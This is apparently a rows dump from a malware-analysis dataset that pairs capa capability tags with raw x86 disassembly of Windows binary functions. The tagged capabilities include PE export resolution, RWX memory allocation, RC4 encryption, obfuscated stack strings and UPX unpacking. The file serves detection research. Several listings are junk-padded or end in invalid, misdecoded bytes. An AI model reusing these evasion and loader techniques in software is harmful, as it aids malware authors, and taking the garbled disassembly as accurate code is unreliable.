joyce8/EMBER2024-capa huggingface dataset:
Function at 0x513f32
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
xor ebx, 0x16cbf
pop ebx
push esi
push edx
add esp, 4
or esi, 0xcab4
pop esi
push edi
or edi, 0x7d7
and edi, 0x315
call 0x513d5b
add byte [ebx + 0x49], al
inc ebp
inc ebp
inc ecx
cmp dword [esi - 0x7d], ecx
les eax, [edi + ebx*2]
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
sub edi, 0xcc22
and edi, 0x347d
sub edi, 0x8261
pop edi
push esi
push esi
add esp, 4
add esi, 0x11e77
sub esi, 0xd49a
pop esi
push edi
push ebx
add esp, 4
and edi, 0x179d5
pop edi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
add ecx, 0x5ff0
and ecx, 0x17b95
xor ecx, 0xb714
and ecx, 0x12885
pop ecx
push edx
push edi
add esp, 4
or edx, 0x13ec
pop edx
push ebx
push edx
add esp, 4
add ebx, 0x8e2
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x513e61
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x513ebb
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x513d89
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x513d89
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x513ea5
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x513eaf
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x513f04
push ecx
push edi
add esp, 4
jmp 0x513ed1
or ecx, 0x1ca3
sub ecx, 0x15cbf
pop ecx
push ecx
push edi
add esp, 4
sub ecx, 0x5683
or ecx, 0xeb08
sub ecx, 0xcf93
pop ecx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x513f6c
push edi
push esi
add esp, 4
xor edi, 0x9266
or edi, 0x1c32
call 0x513f23
add byte [ebx], bh
cmp ecx, dword [ebp + 0x3f]
dec ebx
cmp byte [ecx + 0x3a], cl
add esp, 4
call 0x513f32
add byte [edi + eax*2 + 0x48], cl
inc esp
cmp byte [ebx + eax*4], bh
les eax, [edi + ebx*2]
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x513f62
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x513d2d
invalid
Function at 0x513f33
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
xor ebx, 0x16cbf
pop ebx
push esi
push edx
add esp, 4
or esi, 0xcab4
pop esi
push edi
or edi, 0x7d7
and edi, 0x315
call 0x513d5b
add byte [ebx + 0x49], al
inc ebp
inc ebp
inc ecx
cmp dword [esi - 0x7d], ecx
les eax, [edi + ebx*2]
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
sub edi, 0xcc22
and edi, 0x347d
sub edi, 0x8261
pop edi
push esi
push esi
add esp, 4
add esi, 0x11e77
sub esi, 0xd49a
pop esi
push edi
push ebx
add esp, 4
and edi, 0x179d5
pop edi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
add ecx, 0x5ff0
and ecx, 0x17b95
xor ecx, 0xb714
and ecx, 0x12885
pop ecx
push edx
push edi
add esp, 4
or edx, 0x13ec
pop edx
push ebx
push edx
add esp, 4
add ebx, 0x8e2
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x513e61
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x513ebb
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x513d89
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x513d89
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x513ea5
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x513eaf
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x513f04
push ecx
push edi
add esp, 4
jmp 0x513ed1
or ecx, 0x1ca3
sub ecx, 0x15cbf
pop ecx
push ecx
push edi
add esp, 4
sub ecx, 0x5683
or ecx, 0xeb08
sub ecx, 0xcf93
pop ecx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x513f6c
push edi
push esi
add esp, 4
xor edi, 0x9266
or edi, 0x1c32
call 0x513f23
add byte [ebx], bh
cmp ecx, dword [ebp + 0x3f]
dec ebx
cmp byte [ecx + 0x3a], cl
add esp, 4
call 0x513f32
add byte [edi + eax*2 + 0x48], cl
inc esp
cmp byte [ebx + eax*4], bh
les eax, [edi + ebx*2]
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x513f62
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x513d2d
invalid
Function at 0x51e0d1
Capabilities:
Execute syscall

Disassembly:
inc edi
push es
add eax, 0x88555c5d
leave
or ebp, ebp
syscall
add eax, 0x52400505
cmp edx, dword [ebx + 0x42]
cmp edx, dword [ecx + 0x3c]
inc eax
mov cl, cl
or dword [eax + edx*4 - 0x6e], esp
leave
inc byte [esp + eax]
or byte [edx + 0x4040399], dl
adc al, 0xc3
push ss
nop
mov bl, byte [ecx + 0x14040403]
ret

Function at 0x51ef5b
Capabilities:
Encode data using xor

Disassembly:
push ebp
pop esp
mov cl, cl
or dword [esi + 0x5adddf5], eax
add eax, 0x33fded86
add eax, 0x90695d05
sbb bl, byte [0x8e050505]
lcall 0x8a90, 0x404ea39
cmp edx, ebp
add al, 4
add al, 0x90
Function at 0x532786
Capabilities:
Get common file path

Disassembly:
push 0x22c
mov eax, 0x594023
call fcn.0055d7c5
mov ebx, ecx
mov dword [ebp - 0x234], ebx
call fcn.0054604d
push 0x1c4
call fcn.00419c05
pop ecx
mov dword [ebp - 0x230], eax
xor esi, esi
mov dword [ebp - 4], esi
test eax, eax
je 0x5327c9
push esi
push dword [ebx + 0x60]
mov ecx, eax
call fcn.005467c9
jmp 0x5327cb
mov eax, esi
or dword [ebp - 4], 0xffffffff
mov ecx, ebx
push eax
call fcn.00545036
call fcn.0041c8e3
mov eax, dword [eax + 4]
mov ebx, dword [eax + 0x8c]
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x218]
push eax
call fcn.0057051f
pop ecx
push 0x5c
pop ecx
mov word [ebp + eax*2 - 0x218], cx
inc eax
mov dword [ebp - 0x230], eax
add eax, eax
cmp eax, 0x208
jae 0x532a1f
xor ecx, ecx
mov dword [ebp - 0x22c], esi
lfence
mov word [ebp + eax - 0x218], cx
test ebx, ebx
je 0x532a19
mov edi, esi
mov dword [ebp - 0x228], esi
cmp dword [ebx + 4], esi
jle 0x532a19
lea ecx, [ebp - 0x21c]
call fcn.0040b490
mov eax, dword [ebx]
push 1
push dword [ebp - 0x230]
mov dword [ebp - 4], 1
mov esi, dword [eax + 0xc]
lea eax, [ebp - 0x218]
push eax
push edi
lea eax, [ebp - 0x21c]
mov ecx, esi
push eax
call dword [0x597998]
mov ecx, ebx
call esi
test eax, eax
je 0x5329f7
mov edi, 0x5adae8
lea ecx, [ebp - 0x21c]
push edi
mov esi, 0x5adaf0
push esi
call fcn.00417df0
push esi
push 0x5aa31c
lea ecx, [ebp - 0x21c]
call fcn.00417df0
push esi
push edi
lea ecx, [ebp - 0x21c]
call fcn.00417df0
lea ecx, [ebp - 0x224]
call fcn.0040b490
mov eax, dword [ebp - 0x22c]
mov byte [ebp - 4], 2
cmp eax, 9
jne 0x5328fc
push dword [ebp - 0x21c]
lea eax, [ebp - 0x224]
push str.10__Ts
push eax
call fcn.0040aeb0
add esp, 0xc
jmp 0x53292e
jge 0x53291c
push dword [ebp - 0x21c]
inc eax
push eax
lea eax, [ebp - 0x224]
push str._d__Ts
push eax
call fcn.0040aeb0
add esp, 0x10
jmp 0x53292e
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x224]
call fcn.0040ba10
push 0x1c4
call fcn.00419c05
pop ecx
mov dword [ebp - 0x238], eax
mov byte [ebp - 4], 3
test eax, eax
je 0x532950
mov ecx, eax
call fcn.004dce18
jmp 0x532952
xor eax, eax
mov esi, dword [ebp - 0x224]
mov dword [ebp - 0x220], eax
mov eax, dword [eax]
push esi
mov byte [ebp - 4], 2
mov edi, dword [eax + 0xb4]
mov ecx, edi
call dword [0x597998]
mov ecx, dword [ebp - 0x220]
call edi
mov ecx, dword [ebp - 0x220]
mov eax, dword [ecx]
mov edi, dword [eax + 0xb0]
mov ecx, edi
mov eax, dword [ebp - 0x228]
add eax, 0xe110
push eax
call dword [0x597998]
mov ecx, dword [ebp - 0x220]
call edi
mov ecx, dword [ebp - 0x220]
push dword [ebp - 0x228]
mov eax, dword [ecx]
mov ecx, ebx
mov edi, dword [eax + 0xc8]
call fcn.00427279
mov ecx, edi
push dword [eax]
call dword [0x597998]
mov ecx, dword [ebp - 0x220]
call edi
push dword [ebp - 0x220]
mov ecx, dword [ebp - 0x234]
call fcn.00545036
inc dword [ebp - 0x22c]
lea ecx, [esi - 0x10]
call fcn.0040b460
mov edi, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x21c]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.0040b460
inc edi
mov dword [ebp - 0x228], edi
cmp edi, dword [ebx + 4]
jl 0x53284f
call fcn.0055d774
ret
call fcn.0055d1da
int3
Function at 0x56d271
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0056d10c

Function at 0x579332
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005791b1

Function at 0x57ebad
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0057e51b

Function at 0x57ebb8
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0057e756

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x10001050
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
push 0
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.KERNEL32.dll_VirtualAllocExNuma
mov esi, eax
test esi, esi
je 0x1000107e
mov dword [0x1001b06c], 0
mov eax, dword [esp + 0xc]
push edi
push eax
push esi
call fcn.10006be0
add esp, 0xc
pop edi
mov eax, esi
pop esi
ret

Function at 0x10002320
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 8
cmp dword [esp + 0x10], 0
mov eax, dword [esp + 0x14]
mov cl, byte [eax]
mov dl, byte [eax + 1]
mov dword [esp + 4], 0
jle 0x10002445
push ebx
push ebp
push esi
push edi
movzx edi, cl
movzx ebp, dl
lea esp, [esp]
lea eax, [edi + 1]
cdq
mov ecx, 0x2e
idiv ecx
mov esi, dword [0x1001c470]
mov ebx, 0x2e
movzx edi, dl
movzx eax, byte [edi + esi]
lea ecx, [edi + esi]
add eax, ebp
mov byte [esp + 0x12], dl
cdq
idiv ebx
movzx ebp, dl
lea eax, [esi + ebp]
mov byte [esp + 0x13], dl
call fcn.10001040
mov ecx, dword [0x1001c470]
movzx edx, byte [edi + ecx]
movzx eax, byte [ecx + ebp]
add eax, edx
cdq
mov ecx, ebx
idiv ecx
push 0x100162b5
push 0x1001c4f8
mov byte [esp + 0x19], dl
call fcn.10001fe0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.100021f0
mov edx, dword [esi]
mov eax, dword [edx + 4]
add eax, esi
xor ebx, ebx
test byte [eax + 8], 6
jne 0x100023e3
mov eax, dword [eax + 0x28]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x30]
call eax
cmp eax, 0xffffffff
jne 0x100023e3
mov ebx, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test ebx, ebx
je 0x10002404
mov eax, dword [ecx + 8]
or eax, ebx
cmp dword [ecx + 0x28], 0
jne 0x100023fc
or eax, 4
push 0
push eax
call fcn.10001c40
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x1c]
mov esi, dword [0x1001c470]
mov edx, ecx
sub edx, dword [0x1001b06c]
inc ecx
add eax, edx
movzx edx, byte [esp + 0x11]
mov dl, byte [edx + esi]
xor byte [eax], dl
cmp ecx, dword [esp + 0x20]
mov dword [esp + 0x14], ecx
jl 0x10002350
mov cl, byte [esp + 0x12]
mov eax, dword [esp + 0x24]
mov dl, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
mov byte [eax + 1], dl
mov byte [eax], cl
add esp, 8
ret
Function at 0x10003d90
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x18]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], ecx
movzx ecx, word [eax + 0x14]
push ebp
xor edx, edx
push esi
push edi
lea ecx, [ecx + eax + 0x18]
mov dword [esp + 0x10], 0
cmp dx, word [eax + 6]
jae 0x10003e74
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea esi, [ecx + 0x10]
lea esp, [esp]
mov eax, dword [esi]
test eax, eax
jne 0x10003e0c
mov eax, dword [esp + 0x24]
mov edi, dword [eax + 0x38]
test edi, edi
jle 0x10003e56
mov ecx, dword [esi - 4]
push 4
push 0x1000
push edi
add ecx, ebx
push ecx
call ebp
test eax, eax
je 0x10003e83
mov eax, dword [esi - 4]
push edi
add eax, ebx
push 0
push eax
mov dword [esi - 8], eax
call fcn.10003c40
jmp 0x10003e53
mov edx, dword [esi + 4]
mov ecx, dword [esp + 0x14]
add edx, eax
mov eax, dword [esp + 0x20]
push edx
push eax
call fcn.10003d70
test eax, eax
je 0x10003e83
mov ecx, dword [esi]
mov edx, dword [esi - 4]
push 4
push 0x1000
push ecx
add edx, ebx
push edx
call ebp
test eax, eax
je 0x10003e83
mov ecx, dword [esi + 4]
mov eax, dword [esi]
add ecx, dword [esp + 0x1c]
mov edi, dword [esi - 4]
push eax
add edi, ebx
push ecx
push edi
call fcn.10003c70
mov dword [esi - 8], edi
add esp, 0xc
mov edx, dword [esp + 0x28]
mov ecx, dword [edx]
mov eax, dword [esp + 0x10]
movzx edx, word [ecx + 6]
inc eax
add esi, 0x28
cmp eax, edx
mov dword [esp + 0x10], eax
jl 0x10003dd0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 8
ret 0x10
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 0x10
Function at 0x10003f70
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x20
push ebx
push ebp
mov ebp, dword [esp + 0x2c]
mov ebx, dword [ebp + 0x30]
push esi
mov esi, dword [ebp]
movzx eax, word [esi + 0x14]
push edi
lea edi, [eax + esi + 0x18]
mov eax, dword [edi + 8]
dec ebx
not ebx
push edi
and ebx, eax
push ebp
mov dword [esp + 0x18], ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ebx
call fcn.10003e90
mov ecx, dword [edi + 0x24]
mov edx, 1
add edi, 0x28
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], 0
mov dword [esp + 0x14], 1
cmp dx, word [esi + 6]
jae 0x10004087
mov esi, dword [ebp + 0x30]
mov eax, dword [edi + 8]
mov ecx, dword [esp + 0x10]
dec esi
push edi
not esi
push ebp
mov dword [esp + 0x3c], eax
and esi, eax
call fcn.10003e90
mov dword [esp + 0x18], eax
cmp ebx, esi
je 0x10004037
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x1c]
add ecx, edx
cmp ecx, esi
ja 0x10004037
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
push ebp
call fcn.10003ec0
test eax, eax
je 0x100040ae
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x18]
mov eax, dword [edi + 0x24]
mov ebx, esi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], eax
jmp 0x1000406c
mov ecx, dword [edi + 0x24]
test ecx, 0x2000000
je 0x10004052
test dword [esp + 0x28], 0x2000000
je 0x10004052
or dword [esp + 0x28], ecx
jmp 0x10004060
or ecx, dword [esp + 0x28]
and ecx, 0xfdffffff
mov dword [esp + 0x28], ecx
sub eax, dword [esp + 0x1c]
add eax, dword [esp + 0x34]
mov dword [esp + 0x24], eax
mov ecx, dword [ebp]
mov eax, dword [esp + 0x14]
movzx edx, word [ecx + 6]
inc eax
add edi, 0x28
cmp eax, edx
mov dword [esp + 0x14], eax
jl 0x10003fd1
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
push ebp
mov dword [esp + 0x34], 1
call fcn.10003ec0
pop edi
neg eax
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x20
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20
ret 4
Function at 0x10007518
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001b6b4]
jne 0x10007522
repz ret
jmp fcn.1000cc5c

Function at 0x10013beb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000c17e
and dword [ebp - 4], 0
cmp dword [0x1001d038], 0
mov ebx, eax
jne 0x10013c9c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10013d4d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10018918
push edi
call esi
test eax, eax
je 0x10013d4d
push eax
call fcn.1000c10c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1001d038], eax
call esi
push eax
call fcn.1000c10c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1001d03c], eax
call esi
push eax
call fcn.1000c10c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1001d040], eax
call esi
push eax
call fcn.1000c10c
pop ecx
mov dword [0x1001d048], eax
test eax, eax
je 0x10013c9c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000c10c
pop ecx
mov dword [0x1001d044], eax
mov eax, dword [0x1001d044]
cmp eax, ebx
je 0x10013cf4
cmp dword [0x1001d048], ebx
je 0x10013cf4
push eax
call fcn.1000c187
push dword [0x1001d048]
mov esi, eax
call fcn.1000c187
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10013cf4
test edi, edi
je 0x10013cf4
call esi
test eax, eax
je 0x10013ceb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10013ceb
test byte [ebp - 0xc], 1
jne 0x10013cf4
or dword [ebp + 0x10], 0x200000
jmp 0x10013d2d
mov eax, dword [0x1001d03c]
cmp eax, ebx
je 0x10013d2d
push eax
call fcn.1000c187
pop ecx
test eax, eax
je 0x10013d2d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10013d2d
mov eax, dword [0x1001d040]
cmp eax, ebx
je 0x10013d2d
push eax
call fcn.1000c187
pop ecx
test eax, eax
je 0x10013d2d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1001d038]
call fcn.1000c187
pop ecx
test eax, eax
je 0x10013d4d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10013d4f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4030d7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmp al, 3
clc
movzx eax, word [edi + 0x14]
lea esi, [eax + edi + 0x18]
mov dword [ebp - 0x44], esi
call fcn.00402ed9
push 0xf9424bf
mov bh, 0x47
push es
lea eax, [eax + eax*4]
shl eax, 3
sub eax, dword [ebp + 0x10]
add eax, esi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 8], eax
call fcn.00402ed9
mov byte [ecx - 0xc], al
sbb dword [esi - 0x75], esp
inc edi
push es
cmp ax, bx
jbe 0x403133
lea ecx, [esi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x40312d
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x40311e
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.00402ed9
and dh, bl
push ecx
mov al, 0x8d
inc ebp
test al, 0x50
call fcn.00402ee9
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.00402e9e
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
int1
test edx, edx
je 0x4031c7
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00402ed9
invalid
Function at 0x4032bd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
sahf
sub eax, 0x119f45c6
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00402ee9
push eax
push esi
push dword [ebp + 8]
call fcn.00402e9e
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00402ee9
push eax
push esi
push dword [ebp + 8]
call fcn.00402e9e
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00402ed9
xor cl, byte [ebp - 0x627780da]
jl 0x40335e
invalid
invalid

Function at 0x4037b1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
